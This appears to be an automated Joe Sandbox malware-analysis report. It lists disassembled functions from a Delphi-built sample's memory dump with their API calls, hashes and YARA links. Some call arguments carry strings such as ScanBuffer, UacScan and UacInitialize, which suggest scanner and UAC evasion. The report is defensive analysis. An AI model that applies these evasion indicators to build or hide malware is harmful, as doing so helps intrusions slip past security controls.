                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CloseOpenValue
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 779948276-0
                                                                                                                                                            • Opcode ID: fd58fd3fd556b69432a1759f5842396f7a236132da8b6192c7a5dccd5bef2fe8
                                                                                                                                                            • Instruction ID: 2814167d3058140da3625fa32c50bb850169bb13051f2bcb7b0cbf1c668a6aec
                                                                                                                                                            • Opcode Fuzzy Hash: fd58fd3fd556b69432a1759f5842396f7a236132da8b6192c7a5dccd5bef2fe8
                                                                                                                                                            • Instruction Fuzzy Hash: CE111F7D604208AFEB01EBACDC81D6E77EDEB09710F504470B905DB260DB75DA418BA6
                                                                                                                                                            Function 0283E2E4 Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ClearVariant
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1473721057-0
                                                                                                                                                            • Opcode ID: e0cd87ec89413b64a158ebff12bfc171d8f972f42324541c666d1779106c7c07
                                                                                                                                                            • Instruction ID: 14fd749923e22078eecee00f426fc1fde5e9a12f3a23bcef60b2bd1a77bb4986
                                                                                                                                                            • Opcode Fuzzy Hash: e0cd87ec89413b64a158ebff12bfc171d8f972f42324541c666d1779106c7c07
                                                                                                                                                            • Instruction Fuzzy Hash: AAF0622D708218D7DB277B3CC9C456D279A5F4471575C5426B80AEB245CB389C15CBE3
                                                                                                                                                            Function 02834CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
                                                                                                                                                            • SysAllocStringLen.OLEAUT32(?,?), ref: 02834D07
                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 02834D19
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: String$Free$Alloc
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 986138563-0
                                                                                                                                                            • Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
                                                                                                                                                            • Instruction ID: 4713543cb9e4b97ba717eaca0cc410e43dad1d11f0618a8b8332651fdc03db16
                                                                                                                                                            • Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
                                                                                                                                                            • Instruction Fuzzy Hash: 69E0C2BC1012015EFF076F209C04B37332ABFC1B01B144499E808CA010DB78C801ADF4
                                                                                                                                                            Function 0284705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SysFreeString.OLEAUT32(?), ref: 0284735A
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FreeString
                                                                                                                                                            • String ID: H
                                                                                                                                                            • API String ID: 3341692771-2852464175
                                                                                                                                                            • Opcode ID: 8586e7d651284ffadad194d717bde8e7facba907c47c41173bdf0bb452e46eeb
                                                                                                                                                            • Instruction ID: a9f3b27830c70a69970db58ae8590bbb68dc859072d2cb16b36ee29ba9d5f5ff
                                                                                                                                                            • Opcode Fuzzy Hash: 8586e7d651284ffadad194d717bde8e7facba907c47c41173bdf0bb452e46eeb
                                                                                                                                                            • Instruction Fuzzy Hash: 0AB1D078A016189FDB11CF99D880A9DFBF6FF49314F248569E809EB360DB30A845CF90
                                                                                                                                                            Function 0283E6E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VariantCopy.OLEAUT32(00000000,00000000), ref: 0283E701
                                                                                                                                                              • Part of subcall function 0283E2E4: VariantClear.OLEAUT32(?), ref: 0283E2F3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Variant$ClearCopy
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 274517740-0
                                                                                                                                                            • Opcode ID: 900a6423fd52343485763f34000b2c760cc819c7e49d8b2b28550a0b255f892d
                                                                                                                                                            • Instruction ID: 1f3135f6ba412d39677944d9990ab1701c7369bf16c01160c323629cd239e874
                                                                                                                                                            • Opcode Fuzzy Hash: 900a6423fd52343485763f34000b2c760cc819c7e49d8b2b28550a0b255f892d
                                                                                                                                                            • Instruction Fuzzy Hash: 7111A12C70421897CB33AF6DD8C4A6777D6AF857507045466EA4ECB25AEB30DC05CAE2
                                                                                                                                                            Function 0283E37C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InitVariant
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1927566239-0
                                                                                                                                                            • Opcode ID: ac938681f277a9572a08ac2adef8efbbcf47ac50d86c03686dc24b340a6b5c6f
                                                                                                                                                            • Instruction ID: 3f5ced19059492bfdec1e71c237857e65b678341579b241e827090135f4891c7
                                                                                                                                                            • Opcode Fuzzy Hash: ac938681f277a9572a08ac2adef8efbbcf47ac50d86c03686dc24b340a6b5c6f
                                                                                                                                                            • Instruction Fuzzy Hash: 39315E7DA00608ABDB12DFACC984AAA77E8FF0C314F484561F909D3640D334D991CBE2
                                                                                                                                                            Function 02846CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • CLSIDFromProgID.OLE32(00000000,?,00000000,02846D39,?,?,?,00000000), ref: 02846D19
                                                                                                                                                              • Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FreeFromProgString
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4225568880-0
                                                                                                                                                            • Opcode ID: 7235fd169fdd0a6e8bad162b2b92f0498cc2e713abf1da8a0a08fa3bb15d7ed5
                                                                                                                                                            • Instruction ID: dc178f25a8edf6717bdb4d318712d14967275b1b304bff7727ec0eb48a65adfc
                                                                                                                                                            • Opcode Fuzzy Hash: 7235fd169fdd0a6e8bad162b2b92f0498cc2e713abf1da8a0a08fa3bb15d7ed5
                                                                                                                                                            • Instruction Fuzzy Hash: 64E06D7D604318BFF712EBA9CC52A5A77EDDB8AB10B510471A800D7601EA75BE0088A2
                                                                                                                                                            Function 02835814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 02835832
                                                                                                                                                              • Part of subcall function 02835A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02830000,0285E790), ref: 02835A94
                                                                                                                                                              • Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AB2
                                                                                                                                                              • Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AD0
                                                                                                                                                              • Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02835AEE
                                                                                                                                                              • Part of subcall function 02835A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02835B37
                                                                                                                                                              • Part of subcall function 02835A78: RegQueryValueExA.ADVAPI32(?,02835CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001), ref: 02835B55
                                                                                                                                                              • Part of subcall function 02835A78: RegCloseKey.ADVAPI32(?,02835B84,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02835B77
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2796650324-0
                                                                                                                                                            • Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                                                                                            • Instruction ID: 1e80a3bbc37518111bc2fc1a877ffae3138f4f0fc0566828a07790ec136ca274
                                                                                                                                                            • Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                                                                                            • Instruction Fuzzy Hash: BFE06DB9A002148BCB11DE5CC8C0A9737D8AB08B50F400565EC58DF34AD3B4D9208BD1
                                                                                                                                                            Function 02837D94 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02837DA8
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FileWrite
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3934441357-0
                                                                                                                                                            • Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                            • Instruction ID: f877975fa87ccba536a425f9debfebd07166928471eb42d7f833f6b008b16f39
                                                                                                                                                            • Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                            • Instruction Fuzzy Hash: CCD05BBA3091107AD220955E5C44EFB5BDCCFC9770F100639B658C7180E720CC0187F1
                                                                                                                                                            Function 02837E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetFileAttributesA.KERNEL32(00000000,?,0284FD00,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,UacScan,0289237C,0285B40C,UacInitialize), ref: 02837E1B
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AttributesFile
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3188754299-0
                                                                                                                                                            • Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
                                                                                                                                                            • Instruction ID: 888b2f911c2d32968220aa00c486c93f32c32a3d68e831370272ae0ad13fe476
                                                                                                                                                            • Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
                                                                                                                                                            • Instruction Fuzzy Hash: 5EC08CED2122020A1A52B1FC0CC402A42C809042393A42F31E63CEA2E2E321C82324A1
                                                                                                                                                            Function 02837E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetFileAttributesA.KERNEL32(00000000,?,02852E7D,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,Initialize), ref: 02837E3F
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AttributesFile
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3188754299-0
                                                                                                                                                            • Opcode ID: f224b653ec22911d66b4e12bae26b762512d9a06ebf858662df5de79d6ddce78
                                                                                                                                                            • Instruction ID: 76059ebc11ee8401f8683305297ba802bd65900f1dd1042b8634e608cd3402b1
                                                                                                                                                            • Opcode Fuzzy Hash: f224b653ec22911d66b4e12bae26b762512d9a06ebf858662df5de79d6ddce78
                                                                                                                                                            • Instruction Fuzzy Hash: ACC08CED2122040E1E52E2FC0CC450A42CC09046393A02F31E53CDA2E2E321D8622491
                                                                                                                                                            Function 02834C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FreeString
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3341692771-0
                                                                                                                                                            • Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
                                                                                                                                                            • Instruction ID: 7cf37c1e76d34f1bce963bfff58f4292094a55caff62089ca9f5a59a99ce1fcc
                                                                                                                                                            • Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
                                                                                                                                                            • Instruction Fuzzy Hash: 6DC012AE60022447FF229A989CC075562CCEB05295B1400A1D40CD7240E3B49C0156E5
                                                                                                                                                            Function 02834C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
                                                                                                                                                            • SysReAllocStringLen.OLEAUT32(0285C2B4,0284ED84,000000B4), ref: 02834C62
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: String$AllocFree
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 344208780-0
                                                                                                                                                            • Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
                                                                                                                                                            • Instruction ID: 9eb8f0d25c0c72e60c123b2d12f4de6d0a40da9955d506ed0d59a11c91ee340b
                                                                                                                                                            • Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
                                                                                                                                                            • Instruction Fuzzy Hash: EBD0807C5001055DBF2FDD994544937736AA9D130A34CC25DDC0ECA241EB75DC02CAF1
                                                                                                                                                            Function 0285BF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • timeSetEvent.WINMM(00002710,00000000,0285BF78,00000000,00000001), ref: 0285BF94
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Eventtime
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2982266575-0
                                                                                                                                                            • Opcode ID: 4ed03842f9f6df0c5862ce3d97bd7647f707e14d41a9f696af56e1e21336e4ff
                                                                                                                                                            • Instruction ID: 8c5a73d0c0865a95cd4914eaa6dcba166fa955e19a2201d57a0ae3c26ad6782f
                                                                                                                                                            • Opcode Fuzzy Hash: 4ed03842f9f6df0c5862ce3d97bd7647f707e14d41a9f696af56e1e21336e4ff
                                                                                                                                                            • Instruction Fuzzy Hash: 76C048F87883407AFA1096A92CC2F77218DD714B02F200452BA04EE2C1D1E268544A61
                                                                                                                                                            Function 02834BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SysAllocStringLen.OLEAUT32(00000000,?), ref: 02834BEB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocString
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2525500382-0
                                                                                                                                                            • Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                                                                                            • Instruction ID: 6509dee010251f01cfc184e5feb2af88e33aaa63dd58c7db93f591a5f53f2779
                                                                                                                                                            • Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                                                                                            • Instruction Fuzzy Hash: 93B0123C24820618FA5355E10D00BB2008C5B5168BF8400919E2CC80C0FF41C41088F3
                                                                                                                                                            Function 02834BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 02834C03
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
